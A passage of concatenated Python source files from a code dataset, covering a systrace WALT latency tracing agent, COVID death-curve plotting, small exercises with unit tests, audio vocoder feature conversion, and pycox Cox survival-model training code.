'\n 'WALT is a device for measuring latency of physical '\n 'sensors on phones and computers. '\n 'See https://github.com/google/walt')\n return options\n\n\ndef get_config(options):\n return WaltConfig(options.device_serial_number, options.is_walt_enabled)\n\n\nclass WaltAgent(tracing_agents.TracingAgent):\n \"\"\"\n This tracing agent requires the WALT app to be installed on the Android phone,\n and requires the WALT device to be attached to the phone. WALT is a device\n for measuring latency of physical sensors and outputs on phones and\n computers. For more information, visit https://github.com/google/walt\n \"\"\"\n def __init__(self):\n super(WaltAgent, self).__init__()\n self._trace_contents = None\n self._config = None\n self._device_utils = None\n self._clock_sync_marker = None\n self._collection_thread = None\n\n def __repr__(self):\n return 'WaltAgent'\n\n @py_utils.Timeout(tracing_agents.START_STOP_TIMEOUT)\n def StartAgentTracing(self, config, timeout=None):\n del timeout # unused\n self._config = config\n self._device_utils = device_utils.DeviceUtils(\n self._config.device_serial_number)\n if self._device_utils.PathExists(TRACE_FILE_PATH):\n # clear old trace events so they are not included in the current trace\n self._device_utils.WriteFile(TRACE_FILE_PATH, '')\n return True\n\n @py_utils.Timeout(tracing_agents.START_STOP_TIMEOUT)\n def StopAgentTracing(self, timeout=None):\n \"\"\"Stops tracing and starts collecting results.\n\n To synchronously retrieve the results after calling this function,\n call GetResults().\n \"\"\"\n del timeout # unused\n self._collection_thread = threading.Thread(\n target=self._collect_trace_data)\n self._collection_thread.start()\n return True\n\n def _collect_trace_data(self):\n self._trace_contents = self._device_utils.ReadFile(TRACE_FILE_PATH)\n\n def SupportsExplicitClockSync(self):\n return True\n\n def RecordClockSyncMarker(self, sync_id, did_record_clock_sync_callback):\n cmd = 'cat /proc/timer_list | grep now'\n t1 = trace_time_module.Now()\n command_result = self._device_utils.RunShellCommand(cmd, shell=True)\n nsec = command_result[0].split()[2]\n self._clock_sync_marker = format_clock_sync_marker(sync_id, nsec)\n did_record_clock_sync_callback(t1, sync_id)\n\n @py_utils.Timeout(tracing_agents.GET_RESULTS_TIMEOUT)\n def GetResults(self, timeout=None):\n del timeout # unused\n self._collection_thread.join()\n self._collection_thread = None\n return trace_result.TraceResult('waltTrace', self._get_trace_result())\n\n def _get_trace_result(self):\n result = '# tracer: \\n' + CLOCK_DOMAIN_MARKER + self._trace_contents\n if self._clock_sync_marker is not None:\n result += self._clock_sync_marker\n return result\n\n\ndef format_clock_sync_marker(sync_id, nanosec_time):\n return ('<0>-0 (-----) [001] ...1 ' + str(float(nanosec_time) / 1e9)\n + ': tracing_mark_write: trace_event_clock_sync: name='\n + sync_id + '\\n')\n","sub_path":"systrace/systrace/tracing_agents/walt_agent.py","file_name":"walt_agent.py","file_ext":"py","file_size_in_byte":4178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"561325294","text":"import data\n\nimport numpy as np\nimport pandas as pd\n\nfrom matplotlib import pyplot as plt\n\nfrom datetime import datetime as dt\n\nREFERENCE_COUNTRY = 'Italy'\n\ndef align_data(df, pop, n = None):\n values = df.to_numpy()\n\n result = []\n if n is None:\n result = [int(x) for x in values]\n\n else:\n # align time series to start on comparable dates\n # (where the number of confirmed deaths >= p, and\n # where p = country's population / 10 million * n)\n p = pop / 10000000.0 * n\n for i in range(len(values)):\n if values[i] >= p:\n result = [int(x) for x in values[i:]]\n break\n\n return result\n\ndef run_for(close, country, pop, reference = None, reference_pop = None):\n df_ref = reference\n if reference is None:\n df_ref = data.get_country_time_series('deaths', REFERENCE_COUNTRY)\n\n ref_pop = reference_pop\n if reference_pop is None:\n df_pop = data.get_populations([REFERENCE_COUNTRY, ])\n ref_pop = int(df_pop[df_pop['Country'] == REFERENCE_COUNTRY].Population)\n\n df = data.get_country_time_series('deaths', country)\n\n # get the timeseries of cumulative confirmed deaths\n rows = align_data(df, pop, n = 1)\n rows_ref = align_data(df_ref, ref_pop, n = 1)\n\n fig, ax = plt.subplots()\n\n ax.plot(rows_ref, color = 'black', linestyle = '--')\n ax.plot(rows, color = 'red', marker ='o')\n \n try:\n ax.vlines(len(rows) - 1, 0, 0.8,\n transform = ax.get_xaxis_transform(),\n linestyle = '--', colors = 'r')\n\n ax.text(len(rows) - 1, 0.85,\n \"Day %d\\n%.1f Deaths per Million\" % (len(rows) - 1, rows[-1]/pop*1000000.0),\n horizontalalignment = 'center',\n color = 'r', fontweight = 'bold',\n transform = ax.get_xaxis_transform())\n\n except IndexError:\n # if we end up here it's because we haven't reached Day 0 yet\n pass\n\n ax.set_xlabel('Number of Days Since Day 0')\n\n ax.grid(True, axis = 'y')\n\n ax.set_title(country)\n\n plt.savefig(data.img_path + 'RequestedGraph1-Figure-%s-latest.png' % (country.replace(' ', '-')))\n if close:\n plt.close(fig)\n\ndef run(close = True, countries = None):\n reference = data.get_country_time_series('deaths', REFERENCE_COUNTRY)\n\n if countries is None:\n countries = [\n 'France', 'Germany',\n 'Canada', 'Spain', 'Sweden',\n 'Switzerland', 'United Kingdom', 'United States',\n\n 'Iceland', 'Norway', 'Finland',\n 'Estonia', 'Latvia', 'Denmark',\n 'Lithuania', 'Ireland', 'Netherlands',\n 'Poland', 'Belgium', 'Czechia',\n 'Austria', 'Portugal', 'Greece', ]\n df_pop = data.get_populations(countries + [REFERENCE_COUNTRY, ])\n for country in countries:\n pop = int(df_pop[df_pop['Country'] == country].Population)\n ref_pop = int(df_pop[df_pop['Country'] == REFERENCE_COUNTRY].Population)\n run_for(close, country, pop, reference, ref_pop)\n\nif __name__ == \"__main__\":\n run(close = False, countries = [\n 'France', 'Germany',\n 'Canada', 'Spain', 'Sweden',\n 'Switzerland', 'United Kingdom', 'United States'])\n plt.show()","sub_path":"rg1.py","file_name":"rg1.py","file_ext":"py","file_size_in_byte":3260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"45317191","text":"from veriga_vozlov import Vozel, dodaj_na_konec, dodaj_na_zacetek, vrni_seznam, iz_seznama\r\nimport unittest\r\n\r\n###NAVODILO: Sestavi funkcijo, ki sprejme verigo vozlov in za vsak element verige vrne število njegovih pojavitev v verigi.\r\n\r\ndef st_ponovitev(v):\r\n '''Funkcija sprejme verigo in vrne slovar, ki pove kolikokrat se pojavi element.'''\r\n\r\n pojavitve = dict()\r\n\r\n if v is None:\r\n return dict()\r\n \r\n elif v.naslednji is None:\r\n pojavitve[v.podatek] = 1\r\n \r\n else:\r\n while v.naslednji:\r\n if v.podatek in pojavitve.keys():\r\n pojavitve[v.podatek] += 1\r\n else:\r\n pojavitve[v.podatek] = 1\r\n v = v.naslednji\r\n\r\n if v.podatek in pojavitve.keys():\r\n pojavitve[v.podatek] += 1\r\n else:\r\n pojavitve[v.podatek] = 1\r\n\r\n return pojavitve\r\n\r\n\r\n\r\nclass Test_st_ponovitev(unittest.TestCase):\r\n\r\n def test_ponovitev(self):\r\n self.assertEqual(st_ponovitev(iz_seznama([])), {})\r\n def test_ponovitev(self):\r\n self.assertEqual(st_ponovitev(iz_seznama([5])), {5:1})\r\n def test_pomovitev(self):\r\n self.assertEqual(st_ponovitev(iz_seznama([5,5,6,3,9,3,-8,2,5,6,40,7,7,4,2,1])), {5:3, 6:2, 3:2, 9:1, -8:1, 2:2, 40:1, 7:2, 4:1, 1:1})\r\n \r\n \r\n\r\n\r\nif __name__ == '__main__':\r\n unittest.main()\r\n \r\n\r\n\r\n\r\n\r\n \r\n","sub_path":"Verižni seznam/Pari/Veriga_vozlov_st_ponovitev.py","file_name":"Veriga_vozlov_st_ponovitev.py","file_ext":"py","file_size_in_byte":1391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"56499274","text":"from dateutil.relativedelta import relativedelta\nimport datetime\n\n\ntechfeasinspect = TechFeasInspection(username, password)\ntechfeasinspect.setissue(\"PMOOPS-11452\")\n# Test if the TF doc parsed\nparse_correctly = isinstance(techfeasinspect.techfeas, dict)\ntechfeasinspect.set_values()\ntechfeasinspect.techfeasdatesmatch()\ntechfeasinspect.twoweekoldtfdate()\ntechfeasinspect.futuretfdate()\ntechfeasinspect.futuregadate()\n\ntechfeasinspect.pdf_ga_date = datetime.datetime(2018, 5, 1, 12, 9, 20, 579813)\ntechfeasinspect.release_schedule = \"Monthly\"\n\n\n'''Test Scripts'''\n# TODO complete all tests and create class\n# Testing externallinks\n# Set function for external links\ndef set_externallinks(self, technical_assessment, supplemental_information):\n self.technical_assessment = technical_assessment\n self.supplemental_information = supplemental_information\n\n return self\n\n# Testing for link contained in technical_assessment\ntechnical_assessment_test = \"This is the tech assess with http in it.\"\nsupplemental_information_test = \"This is the supp info with no link.\"\n\nexternalinks_tech_assess = set_externallinks(techfeasinspect, technical_assessment_test, supplemental_information_test)\n\nresult = externalinks_tech_assess.externallinks()\n\nexpected_result = [\"Possible link found in the Technical Assessment section.\"]\n\nif result != expected_result:\n print(\"Issue with externallinks.\")\n\n# Testing for link contained in supplemental_information\ntechnical_assessment_test = \"This is the tech assess with no link in it.\"\nsupplemental_information_test = \"This is the supp info with http in it.\"\n\nexternalinks_tech_assess = set_externallinks(techfeasinspect, technical_assessment_test, supplemental_information_test)\n\nresult = externalinks_tech_assess.externallinks()\n\nexpected_result = [\"Possible link found in the Supplemental Information section.\"]\n\nif result != expected_result:\n print(\"Issue with externallinks.\")\n\n# Testing for links contained in supplemental_information and technical_assessment\ntechnical_assessment_test = \"This is the tech assess with http in it.\"\nsupplemental_information_test = \"This is the supp info with http in it.\"\n\nexternalinks_tech_assess = set_externallinks(techfeasinspect, technical_assessment_test, supplemental_information_test)\n\nresult = externalinks_tech_assess.externallinks()\n\nexpected_result = [\"Possible link found in the Technical Assessment section.\", \"Possible link found in the Supplemental Information section.\"]\n\nif result != expected_result:\n print(\"Issue with externallinks.\")\n\n\n\n\n# Testing gadatesmatch\n# Set function for gadatesmatch\ndef set_gadatesmatch(self, pdf_ga_date, desc_ga_date):\n self.pdf_ga_date = pdf_ga_date\n self.desc_ga_date = desc_ga_date\n\n return self\n\n# Test if matching GA dates returns true\ndate_test = datetime.datetime.today()\ngadatesmatch_true = set_gadatesmatch(techfeasinspect, date_test, date_test)\n\nresult = gadatesmatch_true.gadatesmatch()\n\nif not result:\n print(\"Matching GA dates did not return True. gadatesmatch\")\n\n\n# Set function for techfeasdatematch\ndef set_techfeasdatematch(self, pdf_tech_feas_date, desc_tech_feas_date):\n self.pdf_tech_feas_date = pdf_tech_feas_date\n self.desc_tech_feas_date = desc_tech_feas_date\n\n return self\n\n\n# Test if techfeasdatesmatch returns True when dates are same\ndate_test = datetime.datetime.today()\ntechfeasdatesmatch_true = set_techfeasdatematch(techfeasinspect, date_test, date_test)\n\nresult = techfeasdatesmatch_true.techfeasdatesmatch()\nif not result:\n print(\"techfeasdatesmatch returned false when input dates were same.\")\n\n# Test if techfeasdatesmatch returns False when dates are different\npdf_tech_feas_date_test = datetime.datetime(2018, 1, 1, 1, 1, 1, 0)\ndesc_tech_feas_date_test = datetime.datetime(2017, 1, 1, 1, 1, 1, 0)\ntechfeasdatesmatch_false = set_techfeasdatematch(techfeasinspect, pdf_tech_feas_date_test, desc_tech_feas_date_test)\n\nresult = techfeasdatesmatch_false.techfeasdatesmatch()\nif result:\n print(\"techfeasdatesmatch returned true when input dates were different.\")\n\n\nresult = techfeasinspect.twoweekoldtfdate()\n\n\n\nresult = techfeasinspect.futuretfdate()\n\n\n# Testing futuregadate\n# INPUTS: pdf_ga_date, today, release_schedule\n# OUTPUTS: monthly > 6 months out, pdf_ga_date near or in the past, True if all clear\ndef set_futuregadate(self, pdf_ga_date, today, release_schedule):\n self.pdf_ga_date = pdf_ga_date\n self.today = today\n self.release_schedule = release_schedule\n\n return self\n\n\n# Testing: if release_schedule == \"Monthly\" and pdf_ga_date > 6 months, return\n# alert string \"Monthly release greater than 6 months out.\"\nsix_months = datetime.datetime.today() + relativedelta(months=+7)\npdf_ga_date_test = six_months\nrelease_schedule_test = \"Monthly\"\ntoday_test = datetime.datetime.today()\n\nfuturegadate_monthly_string = set_futuregadate(techfeasinspect, pdf_ga_date_test, today_test, release_schedule_test)\n\nresult = futuregadate_monthly_string.futuregadate()\n\nif not result == \"Monthly release greater than 6 months out.\":\n print(\"Monthly GA 7 months out was not caught. futuregadate\")\n\n# Testing if release_schedule == \"Monthly and pdf_ga_date < 6 months,\n# should return true\nsix_months = datetime.datetime.today() + relativedelta(months=+5)\npdf_ga_date_test = six_months\nrelease_schedule_test = \"Monthly\"\ntoday_test = datetime.datetime.today()\n\nfuturegadate_monthly_string = set_futuregadate(techfeasinspect, pdf_ga_date_test, today_test, release_schedule_test)\n\nresult = futuregadate_monthly_string.futuregadate()\n\nif not True:\n print(\"Monthly release within 6 months GA flagged as incorrect. futuregadate\")\n","sub_path":"testing/unit_tests.py","file_name":"unit_tests.py","file_ext":"py","file_size_in_byte":5623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"217444085","text":"import copy\n\nimport numpy as np\n\nfrom dowhy.causal_refuter import CausalRefutation\nfrom dowhy.causal_refuter import CausalRefuter\n\n\nclass RandomCommonCause(CausalRefuter):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n def refute_estimate(self):\n num_rows = self._data.shape[0]\n new_data = self._data.assign(w_random=np.random.randn(num_rows))\n new_backdoor_variables = self._target_estimand.backdoor_variables + ['w_random']\n identified_estimand = copy.deepcopy(self._target_estimand)\n # Adding a new backdoor variable to the identified estimand\n identified_estimand.backdoor_variables = new_backdoor_variables\n\n new_estimator = self.get_estimator_object(new_data, identified_estimand, self._estimate)\n new_effect = new_estimator.estimate_effect()\n refute = CausalRefutation(self._estimate.value, new_effect.value,\n refutation_type=\"Refute: Add a Random Common Cause\")\n return refute\n","sub_path":"dowhy/causal_refuters/random_common_cause.py","file_name":"random_common_cause.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"349082811","text":"#import queue\nfrom collections import deque\n\n\ndef is_inside(arr, y, x):\n if 0 <= y and 0 <= x and len(arr) > y and len(arr) > x:\n return True\n return False\n\n\ndef bfs(arr, start, end):\n if start == end:\n return 0\n check = [[0 for __ in range(len(arr[x]))] for x in range(len(arr))]\n start_y = start[0]\n start_x = start[1]\n end_y = end[0]\n end_x = end[1]\n DIRS = [[-2, -1], [-2, 1], [-1, 2], [1, 2], [2, 1], [2, -1], [1, -2],\n [-1, -2]]\n q = deque()\n q.append(start)\n while q:\n now = q.popleft()\n for d in DIRS:\n target_y = now[0] + d[0]\n target_x = now[1] + d[1]\n if is_inside(arr, target_y,\n target_x) and check[target_y][target_x] == 0:\n check[target_y][target_x] = check[now[0]][now[1]] + 1\n q.append((target_y, target_x))\n return check[end_y][end_x]\n\n\nfor i in range(int(input())):\n l = int(input())\n arr = [[0 for _ in range(l)] for _ in range(l)]\n curr = list(map(int, input().split()))\n dest = list(map(int, input().split()))\n print(bfs(arr, curr, dest))","sub_path":"acmipc/7562.py","file_name":"7562.py","file_ext":"py","file_size_in_byte":1140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"323480770","text":"import serial\nser = serial.Serial(port='/dev/ttyACM0', baudrate=115200)\nimport time\n\nvalue = [1,2,3,4,5,6,7,8,9]\ni = 0\n\n\ndef normalization(indensity):\n rt = 0\n if(indensity >= 21 and indensity <= 26):\n rt = 0\n elif(indensity >= 18 and indensity <= 19):\n rt = -2\n elif(indensity >= 1013 and indensity <= 1023):\n rt = 2\n return rt\n\nwhile True:\n SEC = int(time.strftime(\"%S\",time.gmtime())) #synchronize\n if(SEC%10 == 0):\n while True:\n while(i < 9):\n ser.flushInput() #clear out the serial buffer\n time.sleep(0.1)\n line = ser.readline()\n line = line.rstrip()\n value[i] = normalization(int(line))\n time.sleep(0.4)\n i += 1\n print(value)\n i = 0 \n \n","sub_path":"task_2.1_receiver.py","file_name":"task_2.1_receiver.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"29293568","text":"import numpy as np\nimport librosa\nfrom matplotlib import pyplot as plt\nimport pyworld\nfrom scipy.fftpack import dct, idct\n\nEPSILON = 1e-8\n\n\ndef load_wav(file_name, sample_rate=None):\n return librosa.load(file_name, sr=sample_rate)[0]\n\n\ndef save_wav(file_name, sample_rate, samples):\n librosa.output.write_wav(file_name, samples, sample_rate)\n\n\ndef display_frames(frames):\n x, y = np.mgrid[:frames.shape[0], :(frames.shape[1] + 1)]\n plt.clf()\n fig = plt.figure(figsize=(8, 3))\n plt.pcolormesh(x, y, frames)\n plt.savefig('temp.png', dpi=800)\n plt.close(fig)\n\n\ndef ConversionSettings(\n sample_rate=16000,\n frame_period=5.0,\n coded_dim=36,\n f0_floor=71.0,\n f0_ceil=800.0):\n return {\n 'sample_rate': sample_rate,\n 'frame_period': frame_period,\n 'coded_dim': coded_dim,\n 'f0_floor': f0_floor,\n 'f0_ceil': f0_ceil,\n }\n\n\ndef world_decompose(samples, settings):\n f0, timeaxis = pyworld.harvest(\n samples, settings['sample_rate'],\n frame_period=settings['frame_period'],\n f0_floor=settings['f0_floor'],\n f0_ceil=settings['f0_ceil'])\n spectral_env = pyworld.cheaptrick(\n samples, f0, timeaxis, settings['sample_rate'])\n aperiodicity = pyworld.d4c(\n samples, f0, timeaxis, settings['sample_rate'])\n return f0, timeaxis, spectral_env, aperiodicity\n\n\ndef world_encode_spectral_env(spectral_env, settings):\n mfcc = pyworld.code_spectral_envelope(\n spectral_env, settings['sample_rate'], settings['coded_dim'])\n return idct(mfcc) / np.sqrt(settings['coded_dim'] * 2)\n\n\ndef world_decode_spectral_env(spectral_env_mel, settings):\n mfcc = dct(spectral_env_mel) / np.sqrt(settings['coded_dim'] * 2)\n fftlen = pyworld.get_cheaptrick_fft_size(settings['sample_rate'])\n spectral_env = pyworld.decode_spectral_envelope(\n mfcc, settings['sample_rate'], fftlen)\n return spectral_env\n\n\ndef encode(samples, settings=None):\n if settings is None:\n settings = ConversionSettings()\n\n samples = samples.astype(np.float64)\n f0, timeaxis, spectral_env, aperiodicity = \\\n world_decompose(samples, settings)\n spectral_env_mel = world_encode_spectral_env(spectral_env, settings)\n\n f0_norm = (f0 - settings['f0_floor']) / (\n settings['f0_ceil'] - settings['f0_floor'])\n f0_norm[f0_norm < 0.0] = 0.0\n f0_norm = f0_norm[:, np.newaxis]\n\n activation = (aperiodicity.mean(axis=1) < (1 - EPSILON))[:, np.newaxis]\n\n aperiodicity_mean = aperiodicity[\n activation[:, 0] == 1, :].mean(axis=0, keepdims=True)\n aperiodicity[activation[:, 0] == 0, :] += aperiodicity_mean - 1\n\n features = np.concatenate([spectral_env_mel, f0_norm], axis=1)\n\n return (features.astype(np.float32), activation, aperiodicity)\n\n\ndef decode(features, activation, aperiodicity, settings=None):\n if settings is None:\n settings = ConversionSettings()\n\n features = features.astype(np.float64)\n spectral_env_mel = features[:, :-1]\n f0 = settings['f0_floor'] + features[:, -1] * (\n settings['f0_ceil'] - settings['f0_floor'])\n\n f0[activation[:, 0] == 0] = 0.0\n aperiodicity[activation[:, 0] == 0] = 1.0\n\n spectral_env = world_decode_spectral_env(spectral_env_mel, settings)\n\n samples = pyworld.synthesize(\n f0, spectral_env, aperiodicity,\n settings['sample_rate'], settings['frame_period'])\n\n return samples.astype(np.float32), spectral_env, f0\n","sub_path":"AudioFrame/src/world_conversions.py","file_name":"world_conversions.py","file_ext":"py","file_size_in_byte":3470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"488259494","text":"import html_generator\nimport re\n\n# for HTML validation we use https://validator.w3.org/nu/\n\ndoctype = ''\ncharset = \"\"\n\ninputfile = open(\"inputfile.txt\", 'r')\n\ns = \"\"\ns += doctype\ns += charset\n\nfor line in inputfile:\n if re.match('^h1.', line):\n s += html_generator.header1(line)\n if re.match('h2.', line):\n s += html_generator.header2(line)\n\noutputfile = open(\"list.html\", 'w')\noutputfile.write(s)\noutputfile.close()\n","sub_path":"html_parser.py","file_name":"html_parser.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"654133166","text":"\"\"\"\nThe infinite monkey theorem states that a monkey hitting keys at random on a typewriter keyboard for an infinite \nlength of time will almost surely type out a given text, such as the complete works of John Wallis, or more likely, \na Dan Brown novel.\nLet's suppose our monkeys are typing, typing and typing, and have produced a wide variety of short text segments. \nLet's try to check them for sensible word inclusions.\nYou are given some text potentially including sensible words. You should count how many words are included in the given \ntext. A word should be whole and may be a part of other word. Text letter case does not matter. Words are given in \nlowercase and don't repeat. If a word appears several times in the text, it should be counted only once.\nFor example, text - \"How aresjfhdskfhskd you?\", words - (\"how\", \"are\", \"you\", \"hello\"). The result will be 3.\nInput: Two arguments. A text as a string (unicode for py2) and words as a set of strings (unicode for py2).\nOutput: The number of words in the text as an integer.\ncount_words(\"How aresjfhdskfhskd you?\", {\"how\", \"are\", \"you\", \"hello\"}) == 3\ncount_words(\"Bananas, give me bananas!!!\", {\"banana\", \"bananas\"}) == 2\ncount_words(\"Lorem ipsum dolor sit amet, consectetuer adipiscing elit.\",\n {\"sum\", \"hamlet\", \"infinity\", \"anything\"}) == 1\nPrecondition:\n0 < len(text) ≤ 256\nall(3 ≤ len(w) and w.islower() and w.isalpha for w in words)\n\"\"\"\n\ndef count_words(text, words):\n text = text.lower()\n n = 0\n for item in words:\n if text.count(item)>0:\n n = n + 1\n return n\n\nif __name__ == '__main__':\n #These uu\"1sserts\" using only for self-checking and not necessary for auto-testing\n assert count_words(u\"How aresjfhdskfhskd you?\", {u\"how\", u\"are\", u\"you\", u\"hello\"}) == 3, \"Example\"\n assert count_words(u\"Bananas, give me bananas!!!\", {u\"banana\", u\"bananas\"}) == 2, \"BANANAS!\"\n assert count_words(u\"Lorem ipsum dolor sit amet, consectetuer adipiscing elit.\",\n {u\"sum\", u\"hamlet\", u\"infinity\", u\"anything\"}) == 1, \"Weird text\"\n","sub_path":"home/monkey_typing.py","file_name":"monkey_typing.py","file_ext":"py","file_size_in_byte":2066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"52211975","text":"import numpy as np\nimport pandas as pd\nimport torch\nimport torchtuples\nfrom torchtuples import TupleTree, tuplefy\nfrom pycox.models.cox.cox import CoxBase, CoxPHBase, search_sorted_idx\nfrom pycox.models.cox.data import CoxCCPrepare, CoxTimePrepare\n\n\ndef loss_cox_cc(g_case, g_control, shrink=0., clamp=(-3e+38, 80.)):\n \"\"\"Torch loss functin for the Cox case-control models.\n TODO:\n For only one control we should instead use the softplus function.\n \n Arguments:\n g_case {torch.Tensor} -- Resulat of net(input_case)\n g_control {torch.Tensor} -- Results of [net(input_ctrl1), net(input_ctrl2), ...]\n \n Keyword Arguments:\n shrink {float} -- Shinkage that encourage the net got give g_case and g_control\n closer to zero (a regularizer in a sense). (default: {0.})\n clamp {tuple} -- See code (default: {(-3e+38, 80.)})\n \n Returns:\n [type] -- [description]\n \"\"\"\n control_sum = 0.\n shrink_control = 0.\n for ctr in g_control:\n shrink_control += ctr.abs().mean()\n ctr = ctr - g_case\n ctr = torch.clamp(ctr, *clamp) # Kills grads for very bad cases (should instead cap grads!!!).\n control_sum += torch.exp(ctr)\n loss = torch.log(1. + control_sum)\n shrink_zero = shrink * (g_case.abs().mean() + shrink_control) / len(g_control)\n return torch.mean(loss) + shrink_zero.abs()\n\n\nclass LossCoxCC(torch.nn.Module):\n \"\"\"Torch loss functin for the Cox case-control models.\n\n loss_func = LossCoxCC()\n loss = loss_func(g_case, g_control)\n \n Keyword Arguments:\n shrink {float} -- Shinkage that encourage the net got give g_case and g_control\n closer to zero (a regularizer in a sense). (default: {0.})\n clamp {tuple} -- See code (default: {(-3e+38, 80.)})\n \"\"\"\n def __init__(self, shrink=0., clamp=(-3e+38, 80.)):\n super().__init__()\n self.shrink = shrink\n self.clamp = clamp\n\n @property\n def shrink(self):\n return self._shrink\n \n @shrink.setter\n def shrink(self, shrink):\n assert shrink >= 0, f\"Need shrink to be non-negative, got {shrink}\"\n self._shrink = shrink\n\n def forward(self, g_case, g_control):\n return loss_cox_cc(g_case, g_control, self.shrink, self.clamp)\n \n\nclass CoxCCBase(CoxBase):\n make_dataset = NotImplementedError\n\n def __init__(self, net, optimizer=None, device=None, shrink=0.):\n loss = LossCoxCC(shrink)\n super().__init__(net, loss, optimizer, device)\n\n def fit(self, input, target, batch_size=256, epochs=1, callbacks=None, verbose=True,\n num_workers=0, shuffle=True, metrics=None, val_data=None, val_batch_size=8224,\n n_control=1, shrink=None, **kwargs):\n \"\"\"Fit model with inputs and targets. Where 'input' is the covariates, and\n 'target' is a tuple with (durations, events).\n \n Arguments:\n input {np.array, tensor or tuple} -- Input x passed to net.\n target {np.array, tensor or tuple} -- Target [durations, events]. \n \n Keyword Arguments:\n batch_size {int} -- Elemets in each batch (default: {256})\n epochs {int} -- Number of epochs (default: {1})\n callbacks {list} -- list of callbacks (default: {None})\n verbose {bool} -- Print progress (default: {True})\n num_workers {int} -- Number of workers used in the dataloader (default: {0})\n shuffle {bool} -- If we should shuffle the order of the dataset (default: {True})\n n_control {int} -- Number of control samples.\n **kwargs are passed to 'make_dataloader' method.\n \n Returns:\n TrainingLogger -- Training log\n \"\"\"\n input, target = self._sorted_input_target(input, target)\n if shrink is not None:\n self.loss.shrink = shrink\n return super().fit(input, target, batch_size, epochs, callbacks, verbose,\n num_workers, shuffle, metrics, val_data, val_batch_size,\n n_control=n_control, **kwargs)\n\n def compute_metrics(self, input, target, metrics):\n if (self.loss is None) and (self.loss in metrics.values()):\n raise RuntimeError(f\"Need to specify a loss (self.loss). It's currently None\")\n assert target is None, 'Need target to be none, input=(case, control)'\n input = self._to_device(input)\n batch_size = input.lens().flatten().get_if_all_equal()\n if batch_size is None:\n raise RuntimeError(\"All elements in input does not have the same lenght.\")\n case, control = input # both are TupleTree\n input_all = TupleTree((case,) + control).cat()\n g_all = self.net(*input_all)\n g_all = tuplefy(g_all).split(batch_size).flatten()\n g_case = g_all[0]\n g_control = g_all[1:]\n res = {name: metric(g_case, g_control) for name, metric in metrics.items()}\n return res\n\n def make_dataloader_predict(self, input, batch_size, shuffle=False, num_workers=0):\n \"\"\"Dataloader for prediction. The input is either the regular input, or a tuple\n with input and label.\n \n Arguments:\n input {np.array, tensor, tuple} -- Input to net, or tuple with input and labels.\n batch_size {int} -- Batch size.\n \n Keyword Arguments:\n shuffle {bool} -- If we should shuffle in the dataloader. (default: {False})\n num_workers {int} -- Number of worker in dataloader. (default: {0})\n \n Returns:\n dataloader -- A dataloader.\n \"\"\"\n dataloader = super().make_dataloader(input, batch_size, shuffle, num_workers)\n return dataloader\n \n def make_dataloader(self, data, batch_size, shuffle=True, num_workers=0, n_control=1):\n \"\"\"Dataloader for training. Data is on the form (input, target), where\n target is (durations, events).\n \n Arguments:\n data {tuple} -- Tuple containig (input, (durations, events)).\n batch_size {int} -- Batch size.\n \n Keyword Arguments:\n shuffle {bool} -- If shuffle in dataloader (default: {True})\n num_workers {int} -- Number of workers in dataloader. (default: {0})\n n_control {int} -- Number of control samples in dataloader (default: {1})\n \n Returns:\n dataloader -- Dataloader for training.\n \"\"\"\n input, target = self._sorted_input_target(*data)\n durations, events = target\n dataset = self.make_dataset(input, durations, events, n_control)\n dataloader = torchtuples.data.DataLoaderSlice(dataset, batch_size=batch_size,\n shuffle=shuffle, num_workers=num_workers)\n return dataloader\n\n @staticmethod\n def _sorted_input_target(input, target):\n durations, _ = target#.to_numpy()\n idx_sort = np.argsort(durations)\n if (idx_sort == np.arange(0, len(idx_sort))).all():\n return input, target\n input = tuplefy(input).iloc[idx_sort]\n target = tuplefy(target).iloc[idx_sort]\n return input, target\n\n\nclass CoxCC(CoxCCBase, CoxPHBase):\n \"\"\"Cox proportional hazards model parameterized with a neural net and\n trained with case-control sampling.\n This is similar to DeepSurv, but use an approximation of the loss function.\n \n Arguments:\n net {torch.nn.Module} -- A pytorch net.\n \n Keyword Arguments:\n optimizer {torch or torchtuples optimizer} -- Optimizer (default: {None})\n device {string, int, or torch.device} -- See torchtuples.Model (default: {None})\n \"\"\"\n make_dataset = CoxCCPrepare\n\n\nclass CoxTime(CoxCCBase):\n \"\"\"A Cox model that does not have proportional hazards, trained with case-control sampling.\n Se paper for explanation.\n \n Arguments:\n net {torch.nn.Module} -- A pytorch net.\n \n Keyword Arguments:\n optimizer {torch or torchtuples optimizer} -- Optimizer (default: {None})\n device {string, int, or torch.device} -- See torchtuples.Model (default: {None})\n \"\"\"\n make_dataset = CoxTimePrepare\n\n def make_dataloader_predict(self, input, batch_size, shuffle=False, num_workers=0):\n input, durations = input\n input = tuplefy(input)\n durations = tuplefy(durations)\n new_input = input + durations \n dataloader = super().make_dataloader_predict(new_input, batch_size, shuffle, num_workers)\n return dataloader\n\n def compute_baseline_hazards(self, input=None, target=None, max_duration=None, sample=None, batch_size=8224,\n set_hazards=True):\n if (input is None) and (target is None):\n if not hasattr(self, 'training_data'):\n raise ValueError('Need to fit, or supply a input and target to this function.')\n input, target = self.training_data\n df = self.target_to_df(target)\n if sample is not None:\n if sample >= 1:\n df = df.sample(n=sample)\n else:\n df = df.sample(frac=sample)\n df = df.sort_values(self.duration_col)\n input = tuplefy(input).to_numpy().iloc[df.index.values]\n base_haz = self._compute_baseline_hazards(input, df, max_duration, batch_size)\n if set_hazards:\n self.compute_baseline_cumulative_hazards(set_hazards=True, baseline_hazards_=base_haz)\n return base_haz\n\n def 